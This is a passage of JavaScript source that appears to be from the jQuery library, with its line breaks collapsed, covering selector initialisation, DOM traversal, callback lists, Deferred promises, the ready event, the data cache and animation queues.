ret = this.pushStack( [] ); for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } return len > 1 ? jQuery.uniqueSort( ret ) : ret; }, filter: function( selector ) { return this.pushStack( winnow( this, selector || [], false ) ); }, not: function( selector ) { return this.pushStack( winnow( this, selector || [], true ) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; } } ); // Initialize a jQuery object // A central reference to the root jQuery(document) var rootjQuery, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) // Strict HTML recognition (#11290: must start with <) // Shortcut simple #id case for speed rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, init = jQuery.fn.init = function( selector, context, root ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Method init() accepts an alternate rootjQuery // so migrate can support jQuery.sub (gh-2101) root = root || rootjQuery; // Handle HTML strings if ( typeof selector === "string" ) { if ( selector[ 0 ] === "<" && selector[ selector.length - 1 ] === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && ( match[ 1 ] || !context ) ) { // HANDLE: $(html) -> $(array) if ( match[ 1 ] ) { context = context instanceof jQuery ? context[ 0 ] : context; // Option to run scripts is true for back-compat // Intentionally let the error be thrown if parseHTML is not present jQuery.merge( this, jQuery.parseHTML( match[ 1 ], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[ 2 ] ); if ( elem ) { // Inject the element directly into the jQuery object this[ 0 ] = elem; this.length = 1; } return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || root ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this[ 0 ] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( isFunction( selector ) ) { return root.ready !== undefined ? root.ready( selector ) : // Execute immediately if ready is not present selector( jQuery ); } return jQuery.makeArray( selector, this ); }; // Give the init function the jQuery prototype for later instantiation init.prototype = jQuery.fn; // Initialize central reference rootjQuery = jQuery( document ); var rparentsprev = /^(?:parents|prev(?:Until|All))/, // Methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend( { has: function( target ) { var targets = jQuery( target, this ), l = targets.length; return this.filter( function() { var i = 0; for ( ; i < l; i++ ) { if ( jQuery.contains( this, targets[ i ] ) ) { return true; } } } ); }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], targets = typeof selectors !== "string" && jQuery( selectors ); // Positional selectors never match, since there's no _selection_ context if ( !rneedsContext.test( selectors ) ) { for ( ; i < l; i++ ) { for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && ( targets ? targets.index( cur ) > -1 : // Don't pass non-elements to Sizzle cur.nodeType === 1 && jQuery.find.matchesSelector( cur, selectors ) ) ) { matched.push( cur ); break; } } } } return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); }, // Determine the position of an element within the set index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; } // Index in selector if ( typeof elem === "string" ) { return indexOf.call( jQuery( elem ), this[ 0 ] ); } // Locate the position of the desired element return indexOf.call( this, // If it receives a jQuery object, the first element is used elem.jquery ? elem[ 0 ] : elem ); }, add: function( selector, context ) { return this.pushStack( jQuery.uniqueSort( jQuery.merge( this.get(), jQuery( selector, context ) ) ) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); } } ); function sibling( cur, dir ) { while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} return cur; } jQuery.each( { parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return dir( elem, "parentNode" ); }, parentsUntil: function( elem, _i, until ) { return dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return dir( elem, "previousSibling" ); }, nextUntil: function( elem, _i, until ) { return dir( elem, "nextSibling", until ); }, prevUntil: function( elem, _i, until ) { return dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return siblings( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return siblings( elem.firstChild ); }, contents: function( elem ) { if ( elem.contentDocument != null && // Support: IE 11+ // <object> elements with no `data` attribute has an object // `contentDocument` with a `null` prototype. getProto( elem.contentDocument ) ) { return elem.contentDocument; } // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only // Treat the template element as a regular one in browsers that // don't support it. if ( nodeName( elem, "template" ) ) { elem = elem.content || elem; } return jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var matched = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = until; } if ( selector && typeof selector === "string" ) { matched = jQuery.filter( selector, matched ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { jQuery.uniqueSort( matched ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { matched.reverse(); } } return this.pushStack( matched ); }; } ); var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g ); // Convert String-formatted options into Object-formatted ones function createOptions( options ) { var object = {}; jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) { object[ flag ] = true; } ); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? createOptions( options ) : jQuery.extend( {}, options ); var // Flag to know if list is currently firing firing, // Last fire value for non-forgettable lists memory, // Flag to know if list was already fired fired, // Flag to prevent firing locked, // Actual callback list list = [], // Queue of execution data for repeatable lists queue = [], // Index of currently firing callback (modified by add/remove as needed) firingIndex = -1, // Fire callbacks fire = function() { // Enforce single-firing locked = locked || options.once; // Execute callbacks for all pending executions, // respecting firingIndex overrides and runtime changes fired = firing = true; for ( ; queue.length; firingIndex = -1 ) { memory = queue.shift(); while ( ++firingIndex < list.length ) { // Run callback and check for early termination if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && options.stopOnFalse ) { // Jump to end and forget the data so .add doesn't re-fire firingIndex = list.length; memory = false; } } } // Forget the data if we're done with it if ( !options.memory ) { memory = false; } firing = false; // Clean up if we're done firing for good if ( locked ) { // Keep an empty list if we have data for future add calls if ( memory ) { list = []; // Otherwise, this object is spent } else { list = ""; } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // If we have memory from a past run, we should fire after adding if ( memory && !firing ) { firingIndex = list.length - 1; queue.push( memory ); } ( function add( args ) { jQuery.each( args, function( _, arg ) { if ( isFunction( arg ) ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && toType( arg ) !== "string" ) { // Inspect recursively add( arg ); } } ); } )( arguments ); if ( memory && !firing ) { fire(); } } return this; }, // Remove a callback from the list remove: function() { jQuery.each( arguments, function( _, arg ) { var index; while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( index <= firingIndex ) { firingIndex--; } } } ); return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : list.length > 0; }, // Remove all callbacks from the list empty: function() { if ( list ) { list = []; } return this; }, // Disable .fire and .add // Abort any current/pending executions // Clear all callbacks and values disable: function() { locked = queue = []; list = memory = ""; return this; }, disabled: function() { return !list; }, // Disable .fire // Also disable .add unless we have memory (since it would have no effect) // Abort any pending executions lock: function() { locked = queue = []; if ( !memory && !firing ) { list = memory = ""; } return this; }, locked: function() { return !!locked; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { if ( !locked ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; queue.push( args ); if ( !firing ) { fire(); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; function Identity( v ) { return v; } function Thrower( ex ) { throw ex; } function adoptValue( value, resolve, reject, noValue ) { var method; try { // Check for promise aspect first to privilege synchronous behavior if ( value && isFunction( ( method = value.promise ) ) ) { method.call( value ).done( resolve ).fail( reject ); // Other thenables } else if ( value && isFunction( ( method = value.then ) ) ) { method.call( value, resolve, reject ); // Other non-thenables } else { // Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer: // * false: [ value ].slice( 0 ) => resolve( value ) // * true: [ value ].slice( 1 ) => resolve() resolve.apply( undefined, [ value ].slice( noValue ) ); } // For Promises/A+, convert exceptions into rejections // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in // Deferred#then to conditionally suppress rejection. } catch ( value ) { // Support: Android 4.0 only // Strict mode functions invoked without .call/.apply get global-object context reject.apply( undefined, [ value ] ); } } jQuery.extend( { Deferred: function( func ) { var tuples = [ // action, add listener, callbacks, // ... .then handlers, argument index, [final state] [ "notify", "progress", jQuery.Callbacks( "memory" ), jQuery.Callbacks( "memory" ), 2 ], [ "resolve", "done", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 0, "resolved" ], [ "reject", "fail", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 1, "rejected" ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, "catch": function( fn ) { return promise.then( null, fn ); }, // Keep pipe for back-compat pipe: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred( function( newDefer ) { jQuery.each( tuples, function( _i, tuple ) { // Map tuples (progress, done, fail) to arguments (done, fail, progress) var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ]; // deferred.progress(function() { bind to newDefer or newDefer.notify }) // deferred.done(function() { bind to newDefer or newDefer.resolve }) // deferred.fail(function() { bind to newDefer or newDefer.reject }) deferred[ tuple[ 1 ] ]( function() { var returned = fn && fn.apply( this, arguments ); if ( returned && isFunction( returned.promise ) ) { returned.promise() .progress( newDefer.notify ) .done( newDefer.resolve ) .fail( newDefer.reject ); } else { newDefer[ tuple[ 0 ] + "With" ]( this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); }, then: function( onFulfilled, onRejected, onProgress ) { var maxDepth = 0; function resolve( depth, deferred, handler, special ) { return function() { var that = this, args = arguments, mightThrow = function() { var returned, then; // Support: Promises/A+ section 2.3.3.3.3 // https://promisesaplus.com/#point-59 // Ignore double-resolution attempts if ( depth < maxDepth ) { return; } returned = handler.apply( that, args ); // Support: Promises/A+ section 2.3.1 // https://promisesaplus.com/#point-48 if ( returned === deferred.promise() ) { throw new TypeError( "Thenable self-resolution" ); } // Support: Promises/A+ sections 2.3.3.1, 3.5 // https://promisesaplus.com/#point-54 // https://promisesaplus.com/#point-75 // Retrieve `then` only once then = returned && // Support: Promises/A+ section 2.3.4 // https://promisesaplus.com/#point-64 // Only check objects and functions for thenability ( typeof returned === "object" || typeof returned === "function" ) && returned.then; // Handle a returned thenable if ( isFunction( then ) ) { // Special processors (notify) just wait for resolution if ( special ) { then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ) ); // Normal processors (resolve) also hook into progress } else { // ...and disregard older resolution values maxDepth++; then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ), resolve( maxDepth, deferred, Identity, deferred.notifyWith ) ); } // Handle all other returned values } else { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Identity ) { that = undefined; args = [ returned ]; } // Process the value(s) // Default process is resolve ( special || deferred.resolveWith )( that, args ); } }, // Only normal processors (resolve) catch and reject exceptions process = special ? mightThrow : function() { try { mightThrow(); } catch ( e ) { if ( jQuery.Deferred.exceptionHook ) { jQuery.Deferred.exceptionHook( e, process.stackTrace ); } // Support: Promises/A+ section 2.3.3.3.4.1 // https://promisesaplus.com/#point-61 // Ignore post-resolution exceptions if ( depth + 1 >= maxDepth ) { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Thrower ) { that = undefined; args = [ e ]; } deferred.rejectWith( that, args ); } } }; // Support: Promises/A+ section 2.3.3.3.1 // https://promisesaplus.com/#point-57 // Re-resolve promises immediately to dodge false rejection from // subsequent errors if ( depth ) { process(); } else { // Call an optional hook to record the stack, in case of exception // since it's otherwise lost when execution goes async if ( jQuery.Deferred.getStackHook ) { process.stackTrace = jQuery.Deferred.getStackHook(); } window.setTimeout( process ); } }; } return jQuery.Deferred( function( newDefer ) { // progress_handlers.add( ... ) tuples[ 0 ][ 3 ].add( resolve( 0, newDefer, isFunction( onProgress ) ? onProgress : Identity, newDefer.notifyWith ) ); // fulfilled_handlers.add( ... ) tuples[ 1 ][ 3 ].add( resolve( 0, newDefer, isFunction( onFulfilled ) ? onFulfilled : Identity ) ); // rejected_handlers.add( ... ) tuples[ 2 ][ 3 ].add( resolve( 0, newDefer, isFunction( onRejected ) ? onRejected : Thrower ) ); } ).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 5 ]; // promise.progress = list.add // promise.done = list.add // promise.fail = list.add promise[ tuple[ 1 ] ] = list.add; // Handle state if ( stateString ) { list.add( function() { // state = "resolved" (i.e., fulfilled) // state = "rejected" state = stateString; }, // rejected_callbacks.disable // fulfilled_callbacks.disable tuples[ 3 - i ][ 2 ].disable, // rejected_handlers.disable // fulfilled_handlers.disable tuples[ 3 - i ][ 3 ].disable, // progress_callbacks.lock tuples[ 0 ][ 2 ].lock, // progress_handlers.lock tuples[ 0 ][ 3 ].lock ); } // progress_handlers.fire // fulfilled_handlers.fire // rejected_handlers.fire list.add( tuple[ 3 ].fire ); // deferred.notify = function() { deferred.notifyWith(...) } // deferred.resolve = function() { deferred.resolveWith(...) } // deferred.reject = function() { deferred.rejectWith(...) } deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments ); return this; }; // deferred.notifyWith = list.fireWith // deferred.resolveWith = list.fireWith // deferred.rejectWith = list.fireWith deferred[ tuple[ 0 ] + "With" ] = list.fireWith; } ); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( singleValue ) { var // count of uncompleted subordinates remaining = arguments.length, // count of unprocessed arguments i = remaining, // subordinate fulfillment data resolveContexts = Array( i ), resolveValues = slice.call( arguments ), // the primary Deferred primary = jQuery.Deferred(), // subordinate callback factory updateFunc = function( i ) { return function( value ) { resolveContexts[ i ] = this; resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; if ( !( --remaining ) ) { primary.resolveWith( resolveContexts, resolveValues ); } }; }; // Single- and empty arguments are adopted like Promise.resolve if ( remaining <= 1 ) { adoptValue( singleValue, primary.done( updateFunc( i ) ).resolve, primary.reject, !remaining ); // Use .then() to unwrap secondary thenables (cf. gh-3000) if ( primary.state() === "pending" || isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) { return primary.then(); } } // Multiple arguments are aggregated like Promise.all array elements while ( i-- ) { adoptValue( resolveValues[ i ], updateFunc( i ), primary.reject ); } return primary.promise(); } } ); // These usually indicate a programmer mistake during development, // warn about them ASAP rather than swallowing them by default. var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; jQuery.Deferred.exceptionHook = function( error, stack ) { // Support: IE 8 - 9 only // Console exists when dev tools are open, which can happen at any time if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, stack ); } }; jQuery.readyException = function( error ) { window.setTimeout( function() { throw error; } ); }; // The deferred used on DOM ready var readyList = jQuery.Deferred(); jQuery.fn.ready = function( fn ) { readyList .then( fn ) // Wrap jQuery.readyException in a function so that the lookup // happens at the time of error handling instead of callback // registration. .catch( function( error ) { jQuery.readyException( error ); } ); return this; }; jQuery.extend( { // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); } } ); jQuery.ready.then = readyList.then; // The ready event handler and self cleanup method function completed() { document.removeEventListener( "DOMContentLoaded", completed ); window.removeEventListener( "load", completed ); jQuery.ready(); } // Catch cases where $(document).ready() is called // after the browser event has already occurred. // Support: IE <=9 - 10 only // Older IE sometimes signals "interactive" too soon if ( document.readyState === "complete" || ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { // Handle it asynchronously to allow scripts the opportunity to delay ready window.setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed ); } // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, len = elems.length, bulk = key == null; // Sets many values if ( toType( key ) === "object" ) { chainable = true; for ( i in key ) { access( elems, fn, i, key[ i ], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, _key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < len; i++ ) { fn( elems[ i ], key, raw ? value : value.call( elems[ i ], i, fn( elems[ i ], key ) ) ); } } } if ( chainable ) { return elems; } // Gets if ( bulk ) { return fn.call( elems ); } return len ? fn( elems[ 0 ], key ) : emptyGet; }; // Matches dashed string for camelizing var rmsPrefix = /^-ms-/, rdashAlpha = /-([a-z])/g; // Used by camelCase as callback to replace() function fcamelCase( _all, letter ) { return letter.toUpperCase(); } // Convert dashed to camelCase; used by the css and data modules // Support: IE <=9 - 11, Edge 12 - 15 // Microsoft forgot to hump their vendor prefix (#9572) function camelCase( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); } var acceptData = function( owner ) { // Accepts only: // - Node // - Node.ELEMENT_NODE // - Node.DOCUMENT_NODE // - Object // - Any return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); }; function Data() { this.expando = jQuery.expando + Data.uid++; } Data.uid = 1; Data.prototype = { cache: function( owner ) { // Check if the owner object already has a cache var value = owner[ this.expando ]; // If not, create one if ( !value ) { value = {}; // We can accept data for non-element nodes in modern browsers, // but we should not, see #8335. // Always return an empty object. if ( acceptData( owner ) ) { // If it is a node unlikely to be stringify-ed or looped over // use plain assignment if ( owner.nodeType ) { owner[ this.expando ] = value; // Otherwise secure it in a non-enumerable property // configurable must be true to allow the property to be // deleted when data is removed } else { Object.defineProperty( owner, this.expando, { value: value, configurable: true } ); } } } return value; }, set: function( owner, data, value ) { var prop, cache = this.cache( owner ); // Handle: [ owner, key, value ] args // Always use camelCase key (gh-2257) if ( typeof data === "string" ) { cache[ camelCase( data ) ] = value; // Handle: [ owner, { properties } ] args } else { // Copy the properties one-by-one to the cache object for ( prop in data ) { cache[ camelCase( prop ) ] = data[ prop ]; } } return cache; }, get: function( owner, key ) { return key === undefined ? this.cache( owner ) : // Always use camelCase key (gh-2257) owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ]; }, access: function( owner, key, value ) { // In cases where either: // // 1. No key was specified // 2. A string key was specified, but no value provided // // Take the "read" path and allow the get method to determine // which value to return, respectively either: // // 1. The entire cache object // 2. The data stored at the key // if ( key === undefined || ( ( key && typeof key === "string" ) && value === undefined ) ) { return this.get( owner, key ); } // When the key is not a string, or both a key and value // are specified, set or extend (existing objects) with either: // // 1. An object of properties // 2. A key and value // this.set( owner, key, value ); // Since the "set" path can have two possible entry points // return the expected data based on which path was taken[*] return value !== undefined ? value : key; }, remove: function( owner, key ) { var i, cache = owner[ this.expando ]; if ( cache === undefined ) { return; } if ( key !== undefined ) { // Support array or space separated string of keys if ( Array.isArray( key ) ) { // If key is an array of keys... // We always set camelCase keys, so remove that. key = key.map( camelCase ); } else { key = camelCase( key ); // If a key with the spaces exists, use it. // Otherwise, create an array by matching non-whitespace key = key in cache ? [ key ] : ( key.match( rnothtmlwhite ) || [] ); } i = key.length; while ( i-- ) { delete cache[ key[ i ] ]; } } // Remove the expando if there's no more data if ( key === undefined || jQuery.isEmptyObject( cache ) ) { // Support: Chrome <=35 - 45 // Webkit & Blink performance suffers when deleting properties // from DOM nodes, so set to undefined instead // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted) if ( owner.nodeType ) { owner[ this.expando ] = undefined; } else { delete owner[ this.expando ]; } } }, hasData: function( owner ) { var cache = owner[ this.expando ]; return cache !== undefined && !jQuery.isEmptyObject( cache ); } }; var dataPriv = new Data(); var dataUser = new Data(); // Implementation Summary // // 1. Enforce API surface and semantic compatibility with 1.9.x branch // 2. Improve the module's maintainability by reducing the storage // paths to a single mechanism. // 3. Use the same single mechanism to support "private" and "user" data. // 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) // 5. Avoid exposing implementation details on user objects (eg. expando properties) // 6. Provide a clear path for implementation upgrade to WeakMap in 2014 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, rmultiDash = /[A-Z]/g; function getData( data ) { if ( data === "true" ) { return true; } if ( data === "false" ) { return false; } if ( data === "null" ) { return null; } // Only convert to a number if it doesn't change the string if ( data === +data + "" ) { return +data; } if ( rbrace.test( data ) ) { return JSON.parse( data ); } return data; } function dataAttr( elem, key, data ) { var name; // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = getData( data ); } catch ( e ) {} // Make sure we set the data so it isn't changed later dataUser.set( elem, key, data ); } else { data = undefined; } } return data; } jQuery.extend( { hasData: function( elem ) { return dataUser.hasData( elem ) || dataPriv.hasData( elem ); }, data: function( elem, name, data ) { return dataUser.access( elem, name, data ); }, removeData: function( elem, name ) { dataUser.remove( elem, name ); }, // TODO: Now that all calls to _data and _removeData have been replaced // with direct calls to dataPriv methods, these can be deprecated. _data: function( elem, name, data ) { return dataPriv.access( elem, name, data ); }, _removeData: function( elem, name ) { dataPriv.remove( elem, name ); } } ); jQuery.fn.extend( { data: function( key, value ) { var i, name, data, elem = this[ 0 ], attrs = elem && elem.attributes; // Gets all values if ( key === undefined ) { if ( this.length ) { data = dataUser.get( elem ); if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { i = attrs.length; while ( i-- ) { // Support: IE 11 only // The attrs elements can be null (#14894) if ( attrs[ i ] ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = camelCase( name.slice( 5 ) ); dataAttr( elem, name, data[ name ] ); } } } dataPriv.set( elem, "hasDataAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each( function() { dataUser.set( this, key ); } ); } return access( this, function( value ) { var data; // The calling jQuery object (element matches) is not empty // (and therefore has an element appears at this[ 0 ]) and the // `value` parameter was not undefined. An empty jQuery object // will result in `undefined` for elem = this[ 0 ] which will // throw an exception if an attempt to read a data cache is made. if ( elem && value === undefined ) { // Attempt to get data from the cache // The key will always be camelCased in Data data = dataUser.get( elem, key ); if ( data !== undefined ) { return data; } // Attempt to "discover" the data in // HTML5 custom data-* attrs data = dataAttr( elem, key ); if ( data !== undefined ) { return data; } // We tried really hard, but the data doesn't exist. return; } // Set the data... this.each( function() { // We always store the camelCased key dataUser.set( this, key, value ); } ); }, null, value, arguments.length > 1, null, true ); }, removeData: function( key ) { return this.each( function() { dataUser.remove( this, key ); } ); } } ); jQuery.extend( { queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = dataPriv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || Array.isArray( data ) ) { queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // Clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // Not public - generate a queueHooks object, or return the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { empty: jQuery.Callbacks( "once memory" ).add( function() { dataPriv.remove( elem, [ type + "queue", key ] ); } ) } ); } } ); jQuery.fn.extend( { queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[ 0 ], type ); } return data === undefined ? this : this.each( function() { var queue = jQuery.queue( this, type, data ); // Ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { jQuery.dequeue( this, type ); } } ); }, dequeue: function( type ) { return this.each( function() { jQuery.dequeue( this, type ); } ); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while ( i-- ) { tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } } ); var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; var documentElement = document.documentElement; var isAttached = function( elem ) { return jQuery.contains( elem.ownerDocument, elem ); }, composed = { composed: true }; // Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only // Check attachment across shadow DOM boundaries when possible (gh-3504) // Support: iOS 10.0-10.2 only // Early iOS 10 versions support `attachShadow` but not `getRootNode`, // leading to errors. We need to check for `getRootNode`. if ( documentElement.getRootNode ) { isAttached = function( elem ) { return jQuery.contains( elem.ownerDocument, elem ) || elem.getRootNode( composed ) === elem.ownerDocument; }; } var isHiddenWithinTree = function( elem, el ) { // isHiddenWithinTree might be called from jQuery#filter function; // in that case, element will be second argument elem = el || elem; // Inline style trumps all return elem.style.display === "none" || elem.style.display === "" && // Otherwise, check computed style // Support: Firefox <=43 - 45 // Disconnected elements can have computed display: none, so first confirm that elem is // in the document. isAttached( elem ) && jQuery.css( elem, "display" ) === "none"; }; function adjustCSS( elem, prop, valueParts, tween ) { var adjusted, scale, maxIterations = 20, currentValue = tween ? function() { return tween.cur(); } : function() { return jQuery.css( elem, prop, "" ); }, initial = currentValue(), unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), // Starting value computation is required for potential unit mismatches initialInUnit = elem.nodeType && ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && rcssNum.exec( jQuery.css( elem, prop ) ); if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { // Support: Firefox <=54 // Halve the iteration target value to prevent 